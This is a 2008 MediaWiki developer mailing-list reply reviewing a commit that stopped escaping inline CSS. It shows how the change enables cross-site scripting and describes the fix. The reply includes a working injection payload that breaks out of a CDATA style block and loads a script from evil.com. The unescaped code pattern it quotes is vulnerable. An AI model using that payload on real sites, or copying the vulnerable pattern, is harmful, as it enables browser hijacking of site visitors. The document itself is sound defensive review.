On Wed, Jul 30, 2008 at 11:36 PM, nad@svn.wikimedia.org wrote:
Log Message:
I meant to say should *not* use htmlspecialchars, it makes invalid CSS syntax - bug reported on MW talk page ...
$css = htmlspecialchars(trim(Sanitizer::checkCss($css)));
$css = trim(Sanitizer::checkCss($css)); $parser->mOutput->addHeadItem( <<<EOT<style type="text/css"> /*<![CDATA[*/
I'm pretty sure this results in a rather straightforward XSS exploit. What if $css is something like:
]]></style><script type="text/javascript" src="http://evil.com/take_over_browser.js"></script><style type="text/css"><![CDATA[
You aren't escaping "]]>" anywhere.
The more correct solution, it seems to me, is to dispose of the CDATA section altogether. It's entirely unnecessary if the code is automatically generated and you can stick it through htmlspecialchars, especially if there's probably almost nothing to escape and the CDATA delimiters look uglier than the occasional rare < or whatnot. I've done this in r38307.